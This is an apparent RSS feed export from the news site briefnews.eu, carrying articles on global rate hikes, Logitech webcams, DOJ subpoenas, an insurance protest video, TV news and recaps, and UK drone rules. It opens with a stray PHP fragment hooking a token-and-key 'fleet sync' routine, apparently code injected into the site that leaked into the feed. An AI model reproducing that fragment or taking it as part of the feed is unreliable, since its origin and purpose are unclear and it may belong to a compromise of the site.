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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); around – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 24 Sep 2022 11:37:40 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png around – Brief News https://briefnews.eu 32 32 Central banks around the world are willing to risk recession to fight inflation — and early signs suggest widespread pain for everyone, everywhere https://briefnews.eu/central-banks-around-the-world-are-willing-to-risk-recession-to-fight-inflation-and-early-signs-suggest-widespread-pain-for-everyone-everywhere/ https://briefnews.eu/central-banks-around-the-world-are-willing-to-risk-recession-to-fight-inflation-and-early-signs-suggest-widespread-pain-for-everyone-everywhere/#respond Sat, 24 Sep 2022 11:37:40 +0000 https://briefnews.eu/central-banks-around-the-world-are-willing-to-risk-recession-to-fight-inflation-and-early-signs-suggest-widespread-pain-for-everyone-everywhere/ Economy recession coronavirus Germany

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  • More than 80 central banks are aggressively raising interest rates to cool inflation.
  • Rate hikes are the best tool for easing price surges but bring with them the risk of recession.
  • The synchronized rate hikes could throw the world economy into a slump.

Countries around the world are rushing to crush inflation. The price? A global economic downturn.

In the US, the Federal Reserve chair, Jerome Powell, has warned that the fight against rising prices will "bring some pain" to Americans by slowing job growth, making mortgages and credit cards more expensive, and possibly prompting layoffs. He characterized the Fed's inflation target as "unconditional," offering a clear signal that the central bank will accept some economic discomfort — and even a recession — if it means ending the price surge.

He's not alone. Central banks in the UK, Europe, Canada, Switzerland, Indonesia —  more than 80 countries in all — are similarly slamming the brakes on their economies to curb inflation, according to the World Bank. Monetary tightening is the broadest its been in five decades, and as inflation hovers at worrying highs around the globe, it's unlikely any central banks will ease up soon.

Policymakers' mission — to bring inflation to heel — has already caused downward revisions of forecasts for advanced economies' growth through 2023. Experts see job losses and weak wage growth on the horizon as economies shift into a lower gear. And businesses are already warning shareholders that things are only going to get tougher.

Corporate earnings offer the first signs of an impending downturn

Companies are already feeling the pain from the Fed's hiking cycle. On September 15, FedEx retracted its earnings forecast for the rest of the year and warned investors that the slowing economy will lead revenue to come up $ 500 million short of the firm's prior target.

When asked by CNBC's Jim Cramer if the global economy is entering a recession, FedEx's CEO, Raj Subramaniam, put it plainly. "I think so," he said.

Restoration Hardware's CEO, Gary Friedman, was more colorful when addressing recession worries in a September 8 earnings call.

"We're in a recession. Anybody who thinks we're not in a recession is crazy," he told analysts. "The housing market is in a recession, and it's just getting started."

Friedman and Subramaniam aren't alone. Of the companies included in the S&P 500, 240 brought up "recession" in their second-quarter-earnings calls, according to FactSet analysis. That's the highest share going back to 2010, when the firm started tracking such mentions. It also dwarfs the 212 "recession" citations seen at the start of the pandemic recession in early 2020.

Stocks' initial reaction to companies' slowing growth can pull the broad market dramatically lower, as it did on September 16, when FedEx's report amplified worries of economic weakness. That translates to less household wealth at a time when the S&P 500 is almost 20% below last year's highs.

Lower revenues and dampened profit forecasts can also lead to more immediate economic damage. Companies tend to cut costs to protect their margins when economic growth slows. That often shows up in the form of smaller raises, slimmed-down hiring plans, and, in the direst cases, widespread layoffs.

At some firms, job losses are already here. The Gap is set to cut 500 corporate jobs by laying off staff and shedding some roles entirely, according to a report from The Wall Street Journal published Tuesday. The move comes amid falling revenue and earnings and marks a major shift toward cost-cutting.

Tumbling sales have also prompted layoff plans at Walmart, Best Buy, and Bed Bath & Beyond in recent weeks. The former has also said it plans to hire fewer workers for the busy holiday season, further stoking concerns that waning demand will cut into the labor market's health.

Sales are expected to keep slowing, and "the current macro environment trends could be even more challenging and have a larger impact for the remainder of the year," Matthew Bilunas, the chief financial officer of Best Buy, said in an August 30 earnings call.

The Fed doesn't just expect some labor-market damage, it's betting on it. Powell has repeatedly highlighted the labor market's unusual tightness as a factor keeping inflation strong, with job openings still outpacing available workers two-to-one at the end of July. The US likely needs "softer labor market conditions" if it's to get over the inflation spell, the Fed chair said in a Wednesday press conference.

That softening is looking increasingly bleak, however. Projections published by the central bank on Wednesday show officials bracing for weaker growth, higher unemployment, and stickier-than-expected inflation through 2023. Those three factors are the key components of a growth recession.

If the Fed can get inflation lower with only a minor jump in unemployment, it's possible that the US can pivot to steady growth and a healthy economic expansion. Yet other central banks face the same predicament as the Fed, and as policymakers around the world rush to stifle inflation, the threat of a broader downturn looms large.

How a mild US slump becomes a deep global recession

More than 80 central banks are staring down the same problem. Inflation is well above their targets, but pulling it lower involves historically large rate hikes.

Such a hiking cycle comes with some unappealing trade-offs, but most have echoed the Fed's message: Some weakness today is worth it to make sure inflation doesn't get stuck at four-decade highs.

The Fed made its latest move on Wednesday, raising rates by another 0.75 percentage points to place its benchmark squarely in restrictive territory.

"If we want to set ourselves up and really, really light the way to another period of very strong labor market, we have got to get inflation behind us," Powell said Wednesday. "I wish there were a painless way to do that. There isn't."

That followed a hike of the same size by the European Central Bank on September 8. The ECB's 0.75-point hike was the first in its history and pushed its benchmark to the highest level since 2011. Officials noted that they expect to raise rates even higher to "guard against the risk of a persistent upward shift in inflation expectations," echoing the Fed's reasoning for such aggressive hiking.

The Bank of England, meanwhile, raised interest rates by half  a percentage point on Thursday, saying it would continue to "respond forcefully, as necessary" to elevated inflation.

That so many central banks share the Fed's outlook could become a huge problem. The world's fight against inflation could spark recessions in several countries as policymakers dramatically tighten financial conditions and slow their economies to a halt.

Such a globally synchronized downturn would be worse for everybody. A new study from the World Bank forecasts that should inflation prove more persistent than expected, the global economy could enter a downturn in 2023 before recovering the following year. Jobs would be lost en masse, high rates would crush some borrowers, and the recovery from the pandemic would give way to a new crisis.

"Recent tightening of monetary and fiscal policies will likely prove helpful in reducing inflation," Ayhan Kose, the acting vice president for equitable growth, finance, and institutions at the World Bank, said. "But because they are highly synchronous across countries, they could be mutually compounding in tightening financial conditions and steepening the global growth slowdown."

Central banks could be mere months away from a lose-lose scenario. If inflation doesn't start to cool soon, the prevailing options policymakers have are to slam the brakes on their economies and throw the world into a recession — or usher in an era of cripplingly fast price growth.

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]]> https://briefnews.eu/central-banks-around-the-world-are-willing-to-risk-recession-to-fight-inflation-and-early-signs-suggest-widespread-pain-for-everyone-everywhere/feed/ 0 Logitech’s new Brio 500 webcams are made to be moved around https://briefnews.eu/logitechs-new-brio-500-webcams-are-made-to-be-moved-around/ https://briefnews.eu/logitechs-new-brio-500-webcams-are-made-to-be-moved-around/#respond Wed, 14 Sep 2022 11:16:32 +0000 https://briefnews.eu/logitechs-new-brio-500-webcams-are-made-to-be-moved-around/ Logitech has unveiled the Brio 500 series webcams designed to fix things like "unflattering camera angles, poor lighting and field-of-view limitations," it said. The Brio 500 models come with multiple fields of view from 65 to 90 degrees, auto light correction via the RightLight 4 and a magnetic mounting system that makes it easy to get the best angle for your face.

Unlike the original Brio 4K model, the cylindrical Brio 500 supports 1080p at 30 fps or 720 at 60fps, though a new 4-megapixel sensor supposedly offers improved image quality. One nice feature is the new privacy shutter, operated via a dial on the right side of the webcam. Another is the "Show Mode" designed to let others see your desk for a presentation, etc., simply by tilting the camera towards it. 

It includes a pair of beamforming, noise cancelling microphones and "Right Sight" auto-framing that keeps you centered in the view. The mount has a plastic clamp with a magnetic attachment on top that mates to another magnet at the bottom of the webcam, but some testers found the bond a bit weak. 

The Brio 500 is now available in black, rose and off-white starting at $ 130. Logitech also unveiled the new Zone Vibe 100 (Bluetooth) and 125 headphones (Bluetooth and USB receiver) in the same colors, starting at $ 100 for the Zone Vibe 100 black model and $ 130 for the Zone Vibe 125 in black. 

]]> https://briefnews.eu/logitechs-new-brio-500-webcams-are-made-to-be-moved-around/feed/ 0 DOJ subpoenaed about 40 people and seized phones from two Trump associates this past week, ramping up its investigation around the January 6 riot: report https://briefnews.eu/doj-subpoenaed-about-40-people-and-seized-phones-from-two-trump-associates-this-past-week-ramping-up-its-investigation-around-the-january-6-riot-report/ https://briefnews.eu/doj-subpoenaed-about-40-people-and-seized-phones-from-two-trump-associates-this-past-week-ramping-up-its-investigation-around-the-january-6-riot-report/#respond Tue, 13 Sep 2022 01:17:12 +0000 https://briefnews.eu/doj-subpoenaed-about-40-people-and-seized-phones-from-two-trump-associates-this-past-week-ramping-up-its-investigation-around-the-january-6-riot-report/ Dan Scavino crossing his arms.
Former White House aide Dan Scavino was among about 40 people who were subpoenaed by the Justice Department this past week.

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  • The DOJ has a broad ongoing investigation into events around the Capitol riot.
  • About 40 people close to Trump have been subpoenaed this past week, according to The New York Times.
  • Feds also seized phones from two Trump advisors, Boris Epshteyn and Mike Roman, per NYT.

The Justice Department subpoenaed about 40 people over the past week and seized cell phone devices from two associates of Donald Trump, showing another sign of the agency's intensifying probe of the events around the January 6 Capitol riot, according to the New York Times.

Those included in the flurry of new subpoenas have varying levels of ties to Trump, including Dan Scavino, the former White House deputy chief of staff for communications, and Bernard Kerik, a former New York City police commissioner and friend of Trump's personal lawyer Rudy Giuliani, who both spread claims of election fraud, The Times reported. Kerik was also interviewed by the January 6 committee.

An attorney for Scavino did not return a request for comment. Kerik's attorney, Timothy Parlatore, told Insider that federal agents came to his client's home on Tuesday. He described the subpoena as "overbroad and nonspecific" with a list of names and claimed that Kerik has been open to cooperating with investigations.

In addition to the subpoenas, federal prosecutors seized electronic devices from Boris Epshteyn, a Trump lawyer who has also been subpoenaed by the January 6 committee, and Mike Roman, a former election operations director for the Trump campaign who helped spread claims of election fraud.

Epshteyn and Roman could not be reached for comment.

The subpoenas seek broad information around the plot to interfere with the 2020 vote using a slate of fake electors and — in a more recent development in the DOJ's investigation — Trump's fundraising vehicle, Save America, according to The Times.

It's unclear how the PAC is related to the DOJ's multi-pronged inquiry into the Capitol riot, but a source familiar with the investigation previously told CNN that the department may be investigating whether people associated with Trump used baseless claims of election fraud to solicit donations.

Parlatore said that Kerik's subpoena asked for "any and everything, somewhat tangentially related to" the Trump campaign.

The Justice Department did not immediately return a request for comment.

It's not disclosed who else has been contacted in this new round of subpoenas. The Times previously reported on Friday that Stephen Miller and Brian Jack, two top Trump advisors, were among more than a dozen people who were reached by the DOJ.

Other former Trump aides subpoenaed in recent weeks include William B. Harrison, William S. Russell, and Nicholas Luna, as well as Ivanka Trump's chief of staff Julie Radford.

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  • Comedian Sandy Honig recorded a video of herself vomiting around an Anthem Insurance office park.
  • The video was intended to raise awareness of the denial and appeals process in the insurance industry.
  • Honig, who suffers from gastroparesis, was denied coverage for a procedure that could alleviate her symptoms.

In a now viral video, comedian Sandy Honig recorded herself uncontrollably vomiting around an Anthem Blue Cross Blue Shield office park after the insurance company denied coverage for a procedure that would help alleviate her stomach-churning symptoms. 

Honig, who suffers from partial paralysis of her stomach due to a condition called gastroparesis, cannot normally digest food and has been near-constantly nausated for the past three years since the onset of her symptoms. Almost anything she eats, she throws up. 

"It's hard to get up in the morning when the first thing you have to do is drink a cup of water, and that makes you sick," Honig told Vice News. 

A common treatment for the condition are Botox injections, which help patients more easily digest food by relaxing the part of the stomach connected to the small intestine. The $ 3,000 treatment provides relief for several months at a time.

After being denied coverage for the injections in January — Honig told NBC News Anthem determined they were "medically unnecessary" — Honig, who is a writer for Three Busy Debras on Adult Swim and HBO Max, found herself angry enough to act against the health insurance giant in the nearly 3-minute video. 

"I mean, this video was just made from complete rage," she told Teen Vogue.

The clip shows Honig at an office park where she repeatedly vomits while discussing her plight and the insurance appeals process with passers-by. She attempted to show up directly to the Anthem offices, but was denied entry without an employee badge: "Even if I'm a member of the Anthem family?" Honig asks an employee in the video.

On camera in front of the Anthem office, Honig vomits into an envelope she joked contained her appeals letter to the insurance company — "relevant documentation," she called it — and seals it up. She told Vice News she did not actually send the envelope and her doctor mailed her real appeal letter. 

In addition to denying her procedure, the company allegedly also called the police on Honig following the stunt. 

"It was such a lovely surprise to get a visit from two men armed with guns and batons in my own home," Honig says in the video, showing two Los Angeles Police Department officers who arrived at her home to perform a wellness check on her. 

Honig told Teen Vogue she originally thought the officers were there to ticket her for trespassing, but actually were called to perform the check to ensure she was not a danger to herself or others.

"It was very interesting," Honig told Teen Vogue. "I was playing with putting this in the video, but it's actually way too complicated — I don't have a concise way of explaining it, but what the cop was telling me was that if I were to harm myself, [the insurance company] could be liable because they had evidence that I was, you know, acting erratically. They were basically covering their own ass by calling the cops on me. It was just insane."

Representatives for Anthem did not immediately respond to Insider's request for comment, but told NBC News the insurance company denied the Botox injections to "ensure Ms. Honig gets the right treatment for her particular condition."

"Our clinical team has carefully reviewed her case and our medical policies, and the existing medical evidence does not support the treatment she is requesting for her condition," Anthem told NBC News. "Therefore, it is not a covered benefit under the family's health plan."

"Health insurance is fucking made-up," Honig told Vice News.

A representative for Honig did not immediately respond to Insider's request for comment. 

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“How many have you got now? Anne-Marie asked.

“I’ve got one,” Olly replied. “Tom’s got one in the can

“I’ve got one,” Anne-Marie said and Olly added: “Will’s got none.”

“Also, no one’s been blocked yet,” Anne-Marie pointed out and Olly asked: “Who’s first?”

“Everybody’s looking at you Olly,” Tom quipped.

The Voice UK continues on Saturday on ITV at 8.30pm.

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]]> https://briefnews.eu/the-voice-uk-tom-jones-regret-as-no-one-turns-around-for-singer-nothing-wrong-with-it/feed/ 0 Lights Out With David Spade Cancelled at Comedy Central, Will Be Shopped Around to Other Networks https://briefnews.eu/lights-out-with-david-spade-cancelled-at-comedy-central-will-be-shopped-around-to-other-networks/ https://briefnews.eu/lights-out-with-david-spade-cancelled-at-comedy-central-will-be-shopped-around-to-other-networks/#respond Fri, 03 Apr 2020 23:44:49 +0000 https://briefnews.eu/lights-out-with-david-spade-cancelled-at-comedy-central-will-be-shopped-around-to-other-networks/

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Comedy Central is turning off the lights at Lights Out With David Spade: The late-night talk show won’t return to the cable network after its current run, according to our sister site Variety.

Comedy Central will, however, shop the show around to other networks and platforms. Production was shut down on Lights Out due to the coronavirus pandemic — the last traditional episode aired March 12 — but Spade has been producing a digital version of the show from home. That version of Lights Out will continue to air online for the next few weeks.

Lights Out features Spade and a rotating panel of his comedian friends dissecting pop-culture news and gossip, intentionally steering clear from anything political. Debuting last July in the post-Daily Show time slot, the series has welcomed guests like Kaley Cuoco, Wayne Brady, Drew Carey, Maya Rudolph, Martin Short and many more.

TVLine’s Cable Renewal Scorecard has been updated to reflect the news. Will you miss Lights Out? Drop your thoughts on the cancellation in a comment below.

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]]> https://briefnews.eu/lights-out-with-david-spade-cancelled-at-comedy-central-will-be-shopped-around-to-other-networks/feed/ 0 Roscoe Born’s Family Reveals Cause of Death, Calls For More ‘Conversations Around Mental Illness’ https://briefnews.eu/roscoe-borns-family-reveals-cause-of-death-calls-for-more-conversations-around-mental-illness/ https://briefnews.eu/roscoe-borns-family-reveals-cause-of-death-calls-for-more-conversations-around-mental-illness/#respond Tue, 10 Mar 2020 01:37:45 +0000 https://briefnews.eu/roscoe-borns-family-reveals-cause-of-death-calls-for-more-conversations-around-mental-illness/

The family of soap opera vet Roscoe Born, who died last week at the age of 69, is revealing that the actor’s cause of death was suicide.

“Roscoe has long struggled with bipolar disorder, a shadow that he succumbed to when he took his own life on Tuesday March 3, 2020,” read the family’s statement, which was posted on Facebook. “We are grateful for the outpouring of kind words and memories. We only wish that Roscoe could have seen how much people still carry his daytime villains in their hearts. May his death remind us of the importance of opening up conversations around mental illness. May those who need help seek it. May those who seek help receive it. And may it serve them.”

Born’s myriad daytime-TV roles included Ryan’s Hope‘s Joe Novak, Santa Barbara‘s Robert Barr and Quinn Armitage (for which he earned a Daytime Emmy nod in 1990), All My Children‘s Jim Thomasen, The City‘s Nick Rivers, Passions‘ Warden, The Young and the Restless‘ Tom Fisher and, last but not least, One Life to Life‘s super-nefarious Mitch Laurence.

If you’re thinking about suicide, are worried about a friend or loved one, or would like emotional support, call the National Suicide Prevention Lifeline’s toll-free number: 1-800-273-TALK (8255)

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]]> https://briefnews.eu/roscoe-borns-family-reveals-cause-of-death-calls-for-more-conversations-around-mental-illness/feed/ 0 A Million Little Things Recap: Second Chances All Around — Plus, Is Eve OK? https://briefnews.eu/a-million-little-things-recap-second-chances-all-around-plus-is-eve-ok/ https://briefnews.eu/a-million-little-things-recap-second-chances-all-around-plus-is-eve-ok/#respond Fri, 06 Mar 2020 12:47:43 +0000 https://briefnews.eu/a-million-little-things-recap-second-chances-all-around-plus-is-eve-ok/

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For a family drama, A Million Little Things has quite a few stashes of unaccounted-for drugs, doesn’t it?

Another bit of illicit material shows up in Thursday’s episode, when Eddie finds a vial of cocaine in his home recording studio and immediately assumes that his visiting sister Lindsay isn’t as sober as she claims to be. On a related topic: What about the ownership of those loose joints Gary found in the bottom of Sophie’s sleeping bag a few weeks back? It seems like we get an answer, albeit a fleeting and context-free one, in this episode.

Unrelated but awesome: Katherine does probably the best thing she’s done since we met her. Read on for the highlights of “Change of Plans.”

HI, LINDSAY! OR HIGH LINDSAY? | When Katherine is called into work last-minute to help woo a potential client, Gary volunteers to take Theo to play laser tag with a friend. Eddie welcomes the help: He’s going to stay at home to greet his sister, Lindsay, when she arrives for a visit. Eddie and Katherine agreed that they don’t want Theo around when his aunt shows up: Though she says she’s now sober, Lindsay was as big of an alcoholic mess as her brother was back in the day, and “I can’t let her mess up our life again,” Katherine asserts. And seeing as how Lindsay apparently vomited into the flower girl’s basket on Eddie and Katherine’s wedding day, we’re assuming she means that figuratively and literally.

When Eddie eventually greets his sis solo, she’s warm and loving, and she totally gets why he wouldn’t want his kid anywhere near her. Well, the old her. (She’s also played by The Following‘s Sprague Grayden.) She says she’s on the wagon now, and she seems to have her stuff together. She calls him “Mr. Ed.” They hug. They talk about how she was always his biggest supporter. It’s cute… until he’s making up the recording studio for her to stay in, and he finds some coke on the ground. Even though Lindsay maintains that she’s clean and the drugs aren’t hers, Eddie kicks her out.

a-million-little-things-recap-season-2-episode-16The minute Lindsay denies ownership of the blow, you just know it’s Dakota’s. And sure enough, when she comes looking for the capo she allegedly lost there, Eddie realizes what’s up. He reassures her that she doesn’t need the drugs to be great, but she says she’s been using the entire time they’ve been working together, and she’s not going to stop. Then she leaves.

KATHERINE, LGBTQ ALLY | We’ll put a pin in that for a moment and hop over to Katherine’s firm, where she makes a great impression on the potential client. But afterwards, Katherine confronts her bosses and wonders if she was only called in because she was a woman, and they wanted the optics to be favorable to the future client, who is female. They strongly disagree, calling Katherine one of the best litigators they have. But she counters by asking, if she’s so amazing, why they took a big case away from her and her assistant, Parker, a little while back? The bosses look uncomfortable, but then admit that the problem there wasn’t Katherine, it was Parker. The client on that case didn’t like that Parker is gay. Parker then chooses that moment to come in and be his usual, if somewhat slightly extra, self.

The next thing we know, Katherine and Parker are bringing cardboard boxes of her stuff into the foyer of her home. Off Eddie’s questioning look, she triumphantly announces that she told her bosses to shove it, then she quit, when they admitted how they’d coddled their homophobic client. A tearful Parker hugs her and thanks her for standing up for him in a way no one ever has. But after he leaves, reality sets in a bit: What’s she going to do now?

That’s when Eddie pipes up with everything that’s happened to him that day, though he doesn’t agree with Katherine’s assertion that he has to stop working with Dakota. “No, Dakota has a problem, but I can handle it,” he promises, outlining a plan where they’ll get through the album, he’ll get the young artist help and then they’ll get Katherine “the job you deserve.” Katherine… does not look convinced.

TAG, YOU’RE IT! | Gary is hitting on the young front-desk attendant at the laser-tag place when a woman behind him in line gets impatient and asks him to move it along. Turns out, the woman is the mother of Theo’s friend, Liam, so she and Gary are thrown into close proximity for the rest of the afternoon. The boys wind up getting into a little fight; Gary is way outta his depth in terms of helping them make amends, but the mom — whose name we later learn is Darcy (and who is played by Supergirl‘s Floriana Lima) — gently leads the kids to resolution, then the four of them play on the same team.

Afterward, Gary learns that Darcy is one of Katherine’s good mom friends, she served in Iraq and she is now divorced from Liam’s father. On the whole, they’re getting along a lot better than they did at first. And when she slips him a phone number, he assumes it’s hers — but instead she surprises him by revealing that she played wingman and got him the contact info for the way-too-young-for-him desk clerk, instead.

a-million-little-things-recap-season-2-episode-16-DELILAH’S DALLIANCE | Maggie and Delilah decide to go out for the evening. And when a cute guy (played by Suburgatory‘s Parker Young) keeps looking over from the bar, D assumes he’s into Maggie. Because she’s lit on a few tequila shots and some wine (side note: HORRIBLE COMBINATION, LADY), she waltzes over and invites him to sit with them. But Maggie soon realizes that the dude is into her friend, so she urges her to go for it. And go for it Delilah does: Miles winds up going home with her.

Meanwhile, tipsy Maggie gets a call from Oxford: Someone has had to drop out of the program she wanted to go to, and does she want to fill the spot? “I’m in,” she says, right there and then. Also? Earlier in the evening, Maggie mentions that the marijuana Gary found belonged to Sophie, so I guess that’s our answer to that one?

A CLOSE CALL | Rome and Regina haven’t really heard from Eve since she and Derek left the restaurant, and they’re worried. So they track her via the phone they got her and wind up at a hotel. Thanks to an understanding clerk at the front desk, they make their way to Derek’s room. But it sounds like things are going OK, and the Howards are debating what to do next — Rome wants to go in, Regina thinks they should go — when Eve and Derek exit the room. Derek is immediately suspicious, but Eve quickly defuses the situation, inviting the Howards inside so they can all get to know each other. However, when she refers to Regina as “Wendy” — aka Regina’s contact at the women’s shelter — it’s clear that it’s a distress signal.

a-million-little-things-recap-season-2-episode-16-Pretty soon, they’re down in the hotel’s business center, where the in-house notary is officiating the paperwork that will sign away Derek’s parental rights. He’s a little unsure for a moment, but Eve affirms the choice, saying that she’ll go back to Philadelphia with him and they’ll have a great life together. It almost goes sideways when the notary refers to Regina by her actual name (because she and Rome served as witnesses), but Gina plays it off that Wendy is her middle name, the one she goes by. Derek seems to accept this, and they say their goodbyes. But Regina makes sure to say (in a very pointed fashion) that they have to stop by Cabot’s ice cream shop before they go, and Eve seems to understand what she means.

Later, Regina is on the phone with Wendy: Eve is safely at the women’s safehouse, and the order of protection is all set up. Just then, Derek busts into the restaurant, yelling for his girlfriend. He makes his way into the kitchen, where Rome informs him that they know who his boss is, and they’ll tell him everything if Derek doesn’t leave Eve alone. It’s a very tense confrontation, and Rome and Derek almost get into it physically, but eventually Derek backs down. “It doesn’t matter,” he scoffs on his way out. “She’s just going to end up coming back to me, anyway.”

UNWANTED BLAST FROM THE PAST? | Back at Eddie’s, before Lindsay leaves (wait, I thought she was staying a while?), she asks him about the lake house their family used to visit. “Did you ever think about why we stopped going?” she wonders. He mentions that someone died in an accident 20-ish years ago, and he just assumed their parents didn’t want to return after that. She seems to have more to say but doesn’t say it, leaving Eddie to ponder her meaning after she’s left.

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]]> https://briefnews.eu/a-million-little-things-recap-second-chances-all-around-plus-is-eve-ok/feed/ 0 The UK is expanding drone no-fly zones around major airports https://briefnews.eu/the-uk-is-expanding-drone-no-fly-zones-around-major-airports/ https://briefnews.eu/the-uk-is-expanding-drone-no-fly-zones-around-major-airports/#respond Mon, 11 Mar 2019 15:01:55 +0000 http://briefnews.eu/the-uk-is-expanding-drone-no-fly-zones-around-major-airports/

Just a couple of months after drone sightings grounded flights at one of the UK’s busiest travel hubs, the nation is expanding drone no-fly zones around airports. As of Wednesday, the no-fly radius is widening from one kilometer to five kilometers (around three miles).

In December, drones spotted near Gatwick Airport led to flight operations being shut down for more than a day during the busy holiday travel period. The disruption affected more than a thousand flights and around 140,000 passengers — police have yet to find the perpetrators. Flight activity also stopped for around an hour at Heathrow in January after a drone was sighted nearby. Both airports bought anti-drone systems this year.

Through its upcoming Drones Bill, the government wants give police more power to stamp out drone misuse, including the ability to stop and search people suspected of using them maliciously near airports. If the bill becomes law, it will also grant police the power to access data stored on drones. Those who recklessly endanger flights with drones currently face up to a five-year prison sentence.

Via: The Verge

Source: BBC

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